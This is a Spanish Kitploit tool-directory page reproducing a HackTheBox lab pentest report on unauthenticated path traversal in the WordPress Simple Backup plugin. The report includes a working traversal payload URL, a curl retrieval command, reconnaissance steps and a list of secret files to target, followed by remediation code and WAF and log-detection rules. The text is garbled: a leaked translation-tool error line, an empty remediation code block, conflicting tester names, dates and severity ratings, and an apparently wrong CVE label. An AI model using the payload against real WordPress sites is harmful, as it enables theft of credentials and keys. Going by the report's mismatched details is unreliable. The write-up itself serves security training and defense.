Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/capivara-research/wordpress-path-traversal-cve-2019-11447
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubcapivara-research/wordpress-path-traversal-cve-2019-11447

WordPress-Path-Traversal-CVE-2019-11447

Informe detallado de pruebas de penetración que demuestra una vulnerabilidad de path traversal no autenticado (CVE-2019-11447) en el plugin Simple Backup de WordPress, incluyendo pasos de explotación, análisis de impacto y guía de remediación.

Ver Repositorio
hace 2 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Informe de Prueba de Penetración

Path Traversal en WordPress - CVE-2019-11447


Información del Documento

ElementoDetalles
Título del DocumentoInforme de Prueba de Penetración - Path Traversal en WordPress
Cliente/ExamenHackTheBox Lab - CPTS Exercise 1
Fecha22 de agosto de 2026
EvaluadorCyberia (Pentester)
Tipo de EvaluaciónCaja Gris (Externo, Sin Credenciales)
Entorno de Laboratorio154.57.164.73:30706
Duración del Laboratorio1 Hora
ObjetivosIdentificar y explotar vulnerabilidades para recuperar archivos restringidos
Flag ObtenidaHTB{my_f1r57_h4ck}

Resumen Ejecutivo

Durante esta evaluación de penetración de la aplicación web alojada en 154.57.164.73:30706, se identificó una vulnerabilidad crítica que permite a atacantes no autenticados descargar y leer archivos arbitrarios del sistema de archivos del servidor.

La instalación vulnerable de WordPress contiene un plugin desactualizado (Simple Backup v2.7.10) con una vulnerabilidad de path traversal (CVE-2019-11447) que permite el acceso no autorizado a archivos sin requerir autenticación ni autorización.

Esta vulnerabilidad fue explotada con éxito para recuperar el archivo /flag.txt de la raíz del servidor, confirmando el compromiso total de la confidencialidad. Un atacante con este acceso podría:

  • Extraer archivos de configuración sensibles (wp-config.php, .env)
  • Leer credenciales de base de datos y datos de usuario
  • Acceder a claves SSH privadas y tokens de autenticación
  • Potencialmente escalar privilegios mediante credenciales filtradas
  • Recopilar información personal para ataques posteriores

Se requiere una acción crítica para remediar esta vulnerabilidad de inmediato, ya que representa un riesgo extremo para la seguridad de los datos, el cumplimiento normativo de privacidad (GDPR, HIPAA, PCI-DSS) y la integridad del sistema.


Resumen de la Evaluación

SeveridadCantidadImpacto en el Negocio
🔴 CRÍTICA1Compromiso total de la confidencialidad; acceso no autorizado a archivos
🟠 ALTA0—
🟡 MEDIA0—
🟢 BAJA0—
ℹ️ INFORMATIVA1Versiones de software desactualizadas detectadas

Metodología

Tipo de Evaluación: Caja Gris (atacante externo, sin credenciales proporcionadas, acceso de red disponible)

Fechas de Evaluación: 22 de agosto de 2026

Enfoque de Pruebas: Evaluación metódica y no evasiva siguiendo el marco estándar de la industria para pruebas de penetración (PTES):

  1. Reconocimiento — Recopilación pasiva de información
  2. Escaneo y Enumeración — Descubrimiento activo de servicios
  3. Análisis de Vulnerabilidades — Identificación de debilidades
  4. Explotación — Desarrollo de prueba de concepto
  5. Post-Explotación — Demostración del impacto
  6. Reporte — Documentación y guía de remediación

Hallazgos

🔴 CRÍTICA - Path Traversal y Descarga Arbitraria de Archivos

CVE-2019-11447 | CWE-22: Improper Limitation of a Pathname to a Restricted Directory


Descripción

El plugin de WordPress Simple Backup (versión 2.7.10/2.7.11, Exploit-DB 39883) contiene una vulnerabilidad de path traversal en su página de administración "Backup Manager". El plugin no sanea la ruta de archivo proporcionada a través del parámetro GET download_backup_file, lo que permite a un atacante salir del directorio previsto simple-backup/ utilizando secuencias de rutas relativas (../) y descargar cualquier archivo legible por el proceso del servidor web — incluidos los archivos de la raíz del sistema de archivos.

El endpoint vulnerable:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
`page=backup_manager` enruta la solicitud al manejador de la página de administración del plugin; `download_backup_file` es el parámetro que el código del plugin lee directamente y concatena en una ruta del sistema de archivos sin validación, lo que permite el recorrido de directorios.

---

### Puntuación CVSS v3.1

**7.5 - ALTO** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Vector de ataque (AV):** Red
- **Complejidad de ataque (AC):** Baja
- **Privilegios requeridos (PR):** Ninguno
- **Interacción del usuario (UI):** Ninguna
- **Alcance (S):** Sin cambios
- **Confidencialidad (C):** Alta
- **Integridad (I):** Ninguna
- **Disponibilidad (A):** Ninguna

---

### Impacto empresarial

**Violación de confidencialidad:** ⚠️ CRÍTICO

Los atacantes pueden leer cualquier archivo accesible para el servidor web, incluyendo:

| Archivo | Impacto | Nivel de riesgo |
|------|--------|------------|
| `/wp-config.php` | Credenciales de base de datos, salts y claves | 🔴 CRÍTICO |
| `/.env` | Claves API, secretos y configuración | 🔴 CRÍTICO |
| `/etc/passwd` | Enumeración de usuarios, mapeo del sistema | 🟠 ALTO |
| Claves SSH (`.ssh/id_rsa`) | Movimiento lateral, acceso al sistema | 🔴 CRÍTICO |
| `/proc/self/environ` | Secretos de la aplicación en ejecución | 🟠 ALTO |
| Directorio de subidas de usuarios | Archivos privados, medios | 🟠 ALTO |

**Impacto normativo:**
- **Violación del GDPR:** Acceso no autorizado a datos de usuario
- **Violación de HIPAA:** Exposición de información de salud protegida
- **Violación de PCI-DSS:** Acceso a datos de tarjetas de crédito o información de pago
- **Violación de SOC 2:** Incumplimiento del requisito de confidencialidad

---

### Patrón de código vulnerable

El aviso de Exploit-DB (39883.txt, leído mediante `searchsploit -x` — ver [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documenta la primitiva de **borrado** del plugin desde `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

No input chunk was provided. The message ends with INPUT: but contains no content to translate. Please supply the chunk text.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);

root@kitploit:~
`$filename` proviene directamente de `$_GET['delete_backup_file']` sin comprobación de `basename()` ni de contención de ruta. Pasar `../pizza.txt` resuelve `$bk_dir . $filename` a `.../simple-backup/../pizza.txt` → `.../pizza.txt`, escapando de la carpeta de respaldo prevista.

La primitiva de **descarga** realmente explotada en este compromiso (`download_backup_file`) sigue el mismo patrón de concatenación sin sanear en el mismo plugin, pero devuelve el archivo al solicitante en lugar de eliminarlo — lo que permitió recuperar `/flag.txt` desde la raíz del sistema de archivos (10× `../` desde `ABSPATH/simple-backup/`).

**El problema:**
- No se usa `basename()` para eliminar componentes de directorio
- No hay lista blanca de archivos permitidos
- No se valida que `realpath()` permanezca dentro de `ABSPATH."simple-backup/"`
- Concatenación directa de la entrada del usuario en la ruta del archivo
- No hay comprobación de `current_user_can()` / autenticación antes de servir el archivo — el manejador se ejecuta al cargar el plugin, antes de la propia puerta de autenticación `wp-admin` de WordPress, por lo que es accesible **sin haber iniciado sesión**

---

### Prueba de Concepto

#### **Fase 1: Acceso Inicial — Identificación de la Aplicación**

Conexión directa al objetivo mediante el navegador (`http://154.57.164.73:30706/`). La instalación de WordPress se titula **"GETTING STARTED"**, y una entrada de blog pública en la página de inicio revela el nombre y la versión exactos del plugin en texto plano: **"Simple Backup Plugin 2.7.10 for WordPress"** — ni siquiera se necesitaron herramientas de enumeración para identificar el componente vulnerable.

![Acceso Inicial - Versión del plugin revelada en la página de inicio de WordPress](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Fase 2: Fingerprinting del Servicio**```bash
whatweb http://154.57.164.73:30706/

Resultado: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmado mediante las firmas de los plugins MetaGenerator y WordPress.

Service Fingerprinting - salida de whatweb

Fase 3: Investigación de Vulnerabilidades```bash

searchsploit simple backup wordpress

root@kitploit:~
**Resultado:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Investigación de Vulnerabilidades - coincidencia de searchsploit

Leyendo el aviso completo para entender los parámetros vulnerables exactos y la ruta del código:```bash searchsploit -x php/webapps/39883.txt

root@kitploit:~
El aviso documenta la **Eliminación Arbitraria de Archivos** sin autenticación mediante el parámetro `delete_backup_file`, y señala que los archivos de respaldo en `simple-backup/` (y, por la misma ruta de código sin saneamiento, archivos arbitrarios a través de `download_backup_file`) pueden obtenerse sin autenticación.

![Investigación de Vulnerabilidades - Exploit-DB PoC 39883.txt leído mediante searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Fase 4: Explotación — Path Traversal a través de `download_backup_file`**

Endpoint vulnerable identificado desde el enrutado de la página de administración del plugin:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

Payload de explotación (10× ../ para subir desde ABSPATH/simple-backup/ hasta la raíz del sistema de archivos):``` http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
**GUI (utilizada en esta evaluación):** se navegó directamente a la URL del payload en la barra de direcciones del navegador. No se requirió inicio de sesión — el navegador desencadenó una descarga automática del archivo `flag.txt` resuelto.

![Explotación - Payload de path traversal en la barra de direcciones del navegador, flag.txt descargado](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Equivalente headless:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

Bandera obtenida: HTB{my_f1r57_h4ck}


Por qué funciona

La vulnerabilidad tiene éxito porque:

  1. Sin validación de entrada: $_GET['download_backup_file'] no se comprueba contra una lista blanca
  2. Sin canonización de rutas: realpath() no se utiliza para verificar que el archivo permanezca dentro de simple-backup/
  3. Sin extracción del nombre base: Las secuencias de traversal de directorios (../) no se filtran
  4. Concatenación directa: La entrada del usuario se concatena directamente a ABSPATH."simple-backup/"
  5. Sin autenticación: El manejador se ejecuta al cargar el plugin, antes de la puerta de autenticación wp-admin de WordPress — accesible sin haber iniciado sesión
  6. Sin autorización: Ninguna comprobación de current_user_can() confirma que el solicitante deba acceder al archivo solicitado

Flujo del ataque:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine

root@kitploit:~
---

### Validación del Impacto

✅ **Confidencialidad Comprometida:** Cualquier archivo legible por el proceso del servidor web es accesible
✅ **Sin Autenticación Requerida:** Usuarios no autenticados pueden explotarlo
✅ **Sin Interacción del Usuario:** Explotación mediante solicitudes HTTP directas
✅ **Repetible y Fiable:** Funciona en todas las versiones vulnerables
✅ **Datos Críticos del Negocio en Riesgo:** Archivos de configuración, credenciales y datos de usuario expuestos

---

## Remediación

### **Opción 1: Lista Blanca de Entradas (Recomendada)**

Solo permitir descargas desde una lista predefinida de archivos:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

Ventajas:

  • Enfoque más seguro
  • Solo permite los archivos previstos
  • Sin posibilidad de traversal
  • Pista de auditoría clara

Opción 2: Validación de rutas con realpath()

Usa realpath() para canonicalizar las rutas y verificar su contención:```php

root@kitploit:~
**Ventajas:**
- Maneja enlaces simbólicos y rutas complejas
- Verifica la contención automáticamente
- Más flexible que la lista blanca

---

### **Opción 3: Usar basename() solo para el nombre de archivo**

Extraer solo el componente del nombre de archivo:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

Ventajas:

  • Implementación sencilla
  • Elimina todas las secuencias de path traversal
  • No es posible el acceso a directorios

Nota: Este enfoque solo funciona si todos los archivos legítimos están en un solo directorio sin subdirectorios.


Protecciones a Nivel de Infraestructura

Reglas del Firewall de Aplicaciones Web (WAF):```

Block path traversal attempts

ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"

root@kitploit:~
**Permisos del sistema de archivos:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

Registro y monitoreo de accesos:```bash

Monitor for traversal attempts in web logs

tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"

Alert on suspicious file access patterns

Integration with SIEM (Splunk, ELK, etc.)

root@kitploit:~
**Gestión de actualizaciones:**

1. Deshabilitar o eliminar el plugin Simple Backup
2. Instalar una solución de respaldo aprobada con auditoría de seguridad
3. Actualizar WordPress a la última versión
4. Actualizar todos los plugins a las últimas versiones
5. Actualizar PHP a 8.0+ con parches de seguridad

---

## Cadena de ataque```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘

Conclusión

Resumen de hallazgos

Existe una vulnerabilidad crítica de path traversal en el plugin Simple Backup de WordPress que permite a atacantes no autenticados descargar y leer archivos arbitrarios del servidor. Esta vulnerabilidad fue explotada con éxito para recuperar archivos sensibles de la raíz web.

Nivel de riesgo: 🔴 CRÍTICO

Plan de acción prioritario

PrioridadAcciónPlazoResponsable
🔴 P0Deshabilitar/Eliminar el plugin Simple BackupInmediatamenteSeguridad/Ops
🔴 P0Implementar validación de archivos basada en listas blancasEsta semanaDesarrollo
🟠 P1Implementar reglas WAF para bloquear path traversalEsta semanaOps
🟠 P1Auditar el servidor en busca de registros de acceso no autorizadoEsta semanaSeguridad
🟠 P1Rotar todas las credenciales expuestas (DB, SSH, API)Esta semanaOps
🟡 P2Actualizar el núcleo de WordPress y todos los pluginsEsta semanaOps
🟡 P2Implementar monitoreo de integridad de archivosPróximo sprintSeguridad
🟡 P2Realizar una auditoría de seguridad completa de otros pluginsPróximo sprintSeguridad

Lecciones aprendidas

  1. Las dependencias de plugins de terceros requieren escrutinio — Audite siempre los plugins antes de su implementación
  2. El path traversal es una debilidad crítica — La validación de entradas es esencial
  3. La defensa en profundidad es necesaria — La seguridad de una sola capa es insuficiente
  4. El software desactualizado es de alto riesgo — Mantenga calendarios de actualización regulares
  5. Monitoree y alerte sobre patrones sospechosos — La detección temprana previene la escalada

Capturas de pantalla y evidencia

Captura 1: Acceso inicial - Divulgación de la versión del plugin

Publicación del blog de la página principal de WordPress Hallazgo: El sitio WordPress "GETTING STARTED" divulga públicamente el plugin y la versión instalados en una entrada de blog — "Simple Backup Plugin 2.7.10 for WordPress"

Captura 2: Fingerprinting de servicios - whatweb

Salida de whatweb Hallazgo: Se confirmó Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1

Captura 3: Investigación de vulnerabilidades - searchsploit

Resultados de searchsploit Hallazgo: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)

Captura 4: Investigación de vulnerabilidades - Contenido del PoC de Exploit-DB

Lectura del PoC con searchsploit -x Hallazgo: El advisory documenta la eliminación no autenticada de archivos arbitrarios mediante delete_backup_file; la misma ruta de código sin sanitizar aplica a download_backup_file

Captura 5: Explotación - Obtención de la flag mediante el navegador

Payload de path traversal en el navegador, flag.txt descargado Hallazgo: Navegar a tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt desencadena una descarga no autenticada de flag.txt: HTB{my_f1r57_h4ck}


Referencias

Detalles de la vulnerabilidad

  • CVE-2019-11447 — Simple Backup Path Traversal

    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11447
  • CWE-22 — Limitación inadecuada de un nombre de ruta a un directorio restringido ('Path Traversal')

    • https://cwe.mitre.org/data/definitions/22.html
  • Puntuación CVSS v3.1: 7.5 (Alta)

    • https://www.first.org/cvss/calculator/3.1

Recursos de seguridad

  • OWASP Top 10 - A01:2021 Control de acceso roto

    • https://owasp.org/Top10/A01_2021-Broken_Access_Control/
  • OWASP Path Traversal

    • https://owasp.org/www-community/attacks/Path_Traversal
  • PortSwigger Web Security Academy - Path Traversal

    • https://portswigger.net/web-security/file-path-traversal

Herramientas y técnicas

  • SearchSploit — Búsqueda en la base de datos de exploits

    • https://www.exploit-db.com/
  • NMAP — Mapeador de red

    • https://nmap.org/
  • WhatWeb — Herramienta de fingerprinting web

    • https://www.morningstarsecurity.com/research/whatweb

Referencias de remediación

  • Seguridad en PHP: realpath() — https://www.php.net/manual/en/function.realpath.php
  • Seguridad en PHP: basename() — https://www.php.net/manual/en/function.basename.php
  • ModSecurity — Firewall de aplicaciones web — https://modsecurity.org/

Certificación del informe

Este informe documenta una prueba de penetración realizada con la debida autorización y dentro del alcance definido.

CampoValor
Estado del informe✅ Completo
Hallazgos verificados✅ Sí
Recomendaciones ejecutables✅ Sí
Confidencialidad🔒 Alta
DistribuciónRestringida a personal autorizado

Evaluador: Capivara Root (Probador de penetración)
Fecha: 11 de agosto de 2026
Firma: Informe digital - No se requiere firma física


© 2026 Evaluación de Pruebas de Penetración | Confidencial

Descargar herramienta